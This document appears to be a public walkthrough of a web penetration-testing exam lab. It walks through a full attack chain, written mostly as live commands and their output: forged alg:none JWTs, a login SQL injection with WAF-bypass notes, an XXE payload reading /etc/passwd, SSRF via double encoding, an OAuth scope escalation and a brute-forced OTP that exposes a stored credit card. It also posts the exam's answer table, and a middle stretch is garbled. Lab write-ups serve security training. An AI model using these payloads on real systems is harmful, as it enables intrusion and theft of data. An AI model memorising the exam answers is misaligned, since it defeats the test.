Web-RTA Exam Walkthrough
Every command below was executed live against the exam lab and its verbatim output is quoted underneath as proof - nothing here is theoretical. Instance-specific values (card, credentials, hex, lab IP) are masked; they are useless against any other deployment anyway. CAPTCHA answers and the OTP change every run, so those exact numbers will differ for you - the commands and the method do not. 0 Β· Tools actually used No Burp, no jwt.io, no CyberChef, no feroxbuster. The whole exam was solved with: curl - 100% of the HTTP interaction: recon, cookies, forms, JSON, SSRF, OAuth flow. python3 - forge alg:none JWTs, decode JWT payloads, solve the math CAPTCHA, hexβbase64 decode, double-URL-encode. bash - the OTP brute-force loop and CAPTCHA-per-request automation. ffuf / nmap - initial port + endpoint discovery. Chrome (manual) - eyeballing rendered pages to confirm behaviour. Why three tools are enough: both targets are small single-instance Flask apps. No client-side crypto, no anti-automation beyond a solvable math CAPTCHA, and every vulnerable surface is a plain HTTP request. curl + python3 reach all of it directly. 0.1 Β· Environment + helper functions --- set your lab IP here --- TARGET= W1="http://$TARGET:32736" # WebApp 01 (Event Manager) W2="http://$TARGET:30555" # WebApp 02 (OAuth stack) solve the math CAPTCHA served at GET /captcha, e.g. "4 - 18" -> -14 solve(){ python3 -c "import re,sys;q=sys.argv[1].strip();m=re.match(r'(-?\d+)\s*([+-])\s(-?\d+)',q);a,o,b=int(m.group(1)),m.group(2),int(m.group(3));print({'+':a+b,'-':a-b,'':ab}[o])" "$1"; } forge an alg:none JWT from a JSON payload, e.g. forge '{"sub":"user","role":"user"}' forge(){ python3 -c "import base64,json,sys;b=lambda o:base64.urlsafe_b64encode(json.dumps(o).encode()).decode().rstrip('=');print(b({'alg':'none','typ':'JWT'})+'.'+b(json.loads(sys.argv[1]))+'.')" "$1"; } decode a JWT payload (2nd segment) jwtdec(){ python3 -c "import base64,sys;p=sys.argv[1].split('.')[1];p+='='(-len(p)%4);print(base64.urlsafe_b64decode(p).decode('utf-8','replace'))" "$1"; } 0.2 Β· Discovery (how the endpoints were found) ports nmap -Pn -p 30000-33000 --open $TARGET | grep open β 30555/tcp open 32736/tcp open (+ the ingress noise) WebApp 01 content discovery ffuf -u "$W1/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,401,403,500 -fc 404 β login, dashboard, captcha, logout The admin-only endpoints (/admin/events, /admin/events/update/1, /fetch_internal_secret, /api/health, /api/fetch_internal_secret) are not in wordlists - they were read straight out of the admin dashboard's HTML (href= / action=) once the SQLi gave admin. The WebApp 02 endpoints (/client/login, /oauth/userlogin, /oauth/consent, /oauth/otp, /resource/resources, /resource/adminpanel) were pulled from links + curl path-probing. Phase 1 - Recon β Flags 5 & 6 Vulnerability: information disclosure - the app issues an unsigned session JWT to anonymous visitors and renders the role. curl -si "$W1/dashboard" | grep -i "set-cookie: access_token_cookie" Proof: Set-Cookie: access_token_cookie=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoiYW5vbnltb3VzIn0.; Path=/; SameSite=Lax Decode the token: jwtdec "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoiYW5vbnltb3VzIn0." {"sub":"anonymous","role":"anonymous"} Header decodes to {"alg":"none","typ":"JWT"} - no signature (the 3rd segment after the last dot is empty). Confirm the role renders on the page: ANON="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoiYW5vbnltb3VzIn0." curl -s -b "access_token_cookie=$ANON" "$W1/dashboard" | sed 's/ ]>/ /g' | tr -s ' \n' ' \n' | grep -viE '^\s$' Dashboard Welcome to Dashboard! Role: anonymous Logout All Events: No events available. Flag 5 - role of unauthenticated users β anonymous Flag 6 - endpoint where events live β /dashboard Phase 2 - JWT alg:none β Flags 7 & 8 Vulnerability: JWT alg:none - signature not verified, so the payload is attacker-controlled. Change role to user. USER=$(forge '{"sub":"user","role":"user","username":"user"}') echo "$USER" curl -s -b "access_token_cookie=$USER" "$W1/dashboard" \ | sed 's/ ]>/ /g' | tr -s ' \n' ' \n' | grep -viE '^\s$' Proof: eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAidXNlciIsICJyb2xlIjogInVzZXIiLCAidXNlcm5hbWUiOiAidXNlciJ9. Dashboard Welcome to Dashboard! Role: user Logout All Events: Masquerade Ball Super Fun Event Happening at: 2051-12-31 10:00 | Created by: notatypicalsysadmin Flag 7 - event visible to authenticated users β Masquerade Ball Flag 8 - admin username β notatypicalsysadmin (the event's Created by: field) Phase 3 - Login SQL injection β signed admin token Vulnerability: SQL injection in the login username; the query is β¦ WHERE username='X' AND password=''. Comment out the password check with '--. This is required because forging role:admin via alg:none is rejected (Access denied: invalid admin token) - admin needs a server-signed token, which a successful login mints. Proof of the wall (forged admin is refused): ADM=$(forge '{"sub":"x","role":"admin"}') curl -s -D - -o /dev/null -b "access_token_cookie=$ADM" "$W1/dashboard" | grep -iE "^HTTP|^location" β HTTP/1.1 302 FOUND Location: / (bounced; flash message: "Access denied: invalid admin token") Full login flow with CSRF + CAPTCHA: rm -f admin.jar 1) fetch login page β CSRF token curl -s -c admin.jar "$W1/login" -o login.html CSRF=$(grep -oiE 'name="csrf_token"[^>]value="[^"]+"' login.html | grep -oE 'value="[^"]+"' | sed 's/value="//;s/"$//') 2) fetch CAPTCHA (answer stored server-side in the session) and solve Q=$(curl -s -b admin.jar -c admin.jar "$W1/captcha" | python3 -c "import sys,json;print(json.load(sys.stdin)['question'])") A=$(solve "$Q"); echo "captcha: $Q = $A" 3) SQLi login curl -s -b admin.jar -c admin.jar -D - -o /dev/null "$W1/login" \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=notatypicalsysadmin'--" \ --data-urlencode "password=anything" \ --data-urlencode "captcha=$A" \ --data-urlencode "submit=Login" | grep -iE "^HTTP|^location" 4) show the issued cookie (now HS256-signed) ATC=$(awk '/access_token_cookie/{print $NF}' admin.jar | tail -1) python3 -c "import base64,sys t=sys.argv[1].split('.') d=lambda s:base64.urlsafe_b64decode(s+'='(-len(s)%4)).decode('utf-8','replace') print('header :', d(t[0])) print('payload :', d(t[1])) print('signature:', len(t[2]), 'chars')" "$ATC" Proof: captcha: 4 - 18 = -14 HTTP/1.1 302 FOUND Location: /dashboard header : {"alg":"HS256","typ":"JWT"} payload : {"sub":"notatypicalsysadmin'--","role":"admin"} signature: 43 chars The 302 β /dashboard plus an HS256 cookie with role:admin and a 43-char signature proves the SQLi produced a legitimate admin session, not a forgery. WAF / query notes (verified): any payload containing the substring "and" is dropped β bounced to /login notatypicalsysadmin' AND 1=1-- β Location: /login (blocked) notatypicalsysadmin'-- β Location: /dashboard (works) password is hashed before the query, so injection only works in the username field. Admin surface (read from the dashboard HTML): curl -s -b admin.jar "$W1/dashboard" \ | grep -oiE 'Role: admin|Admin Verified|href="/admin/events[^"]"|href="/fetch_internal_secret"' | sort -u Admin Verified href="/admin/events" href="/admin/events/update/1" href="/fetch_internal_secret" Role: admin Phase 4 - XXE β Flags 9 & 10 Vulnerability: XXE. The event editor at POST /admin/events/update/1/xml parses attacker XML and reflects it into the event title. fresh CSRF from the update page curl -s -b admin.jar -c admin.jar "$W1/admin/events/update/1" -o upd.html XCSRF=$(grep -oiE 'name="csrf_token"[^>]value="[^"]+"' upd.html | grep -oE 'value="[^"]+"' | sed 's/value="//;s/"$//') XXE payload: external entity β /etc/passwd, placed in XXE=' ]> &xxe; x2051-12-31 10:00user' submit curl -s -b admin.jar -c admin.jar "$W1/admin/events/update/1/xml" \ --data-urlencode "csrf_token=$XCSRF" --data-urlencode "xml_data=$XXE" -o /dev/null -w "submit: %{http_code}\n" read it back ("View as XML"), pull the passwd flag line curl -s -b admin.jar "$W1/admin/events/update/1/xml" \ | grep -oaiE "rootβ0:0[^ ]>/ /g' | tr -s ' \n' ' \n' | grep -iE "bob|number|cvv|expiry" Proof: requests scopes: admin Location: /oauth/otp OTP FOUND = *** (HTTP 302) full access (read, write, delete, admin). Bob's CC: NUMBER : 4367 **** **** 8497 CVV/CVC : *** EXPIRY : /* The OTP is random per session, so yours will differ - only the technique matters. Flag 16 - Bob's Credit Card β 4367 **** **** 8497 (masked). Appendix A - full answer table DB query vuln - SQLi Object-id abuse - IDOR Internal/external request forgery - SSRF Server-side template injection - SSTI Unauthenticated role - anonymous Events endpoint - /dashboard Event name - Masquerade Ball Admin username - notatypicalsysadmin File containing "flag" - /etc/passwd Flag value - the full /etc/passwd flag line Internal secrets URL - http://127.0.0.1:8000/secret hidden in layers (encoded) - space-separated hex blob plaintext - user_β¦:β¦ (WebApp 02 creds) WebApp 02 login endpoint - /client/login Client ID - client_1337 Bob's Credit Card - 4367 **** **** 8497 Appendix B - the whole chain, one line each alg:none JWT (anon β user) β SQLi login (user β signed admin) β XXE (read /etc/passwd) β SSRF (double-encode β /secret β hexβbase64 β WebApp 02 creds) β OAuth login (client_1337) β broken scope (read β admin) + 3-digit OTP brute β admin panel β Bob's card. Appendix C - screenshots to capture (for your run) Anonymous /dashboard with Role: anonymous + the decoded alg:none cookie. role=user dashboard showing Masquerade Ball / created by notatypicalsysadmin. The SQLi login response headers (302 /dashboard) + the decoded HS256 role:admin cookie. Admin dashboard (Admin Verified + Check Outage / Manage Events). XXE "View as XML" output with the flag: line. /api/health (internal URL) and the SSRF 418 vs the double-encoded success with hidden_in_layers. The hex β base64 β cred
Comments
No comments yet. Start the discussion.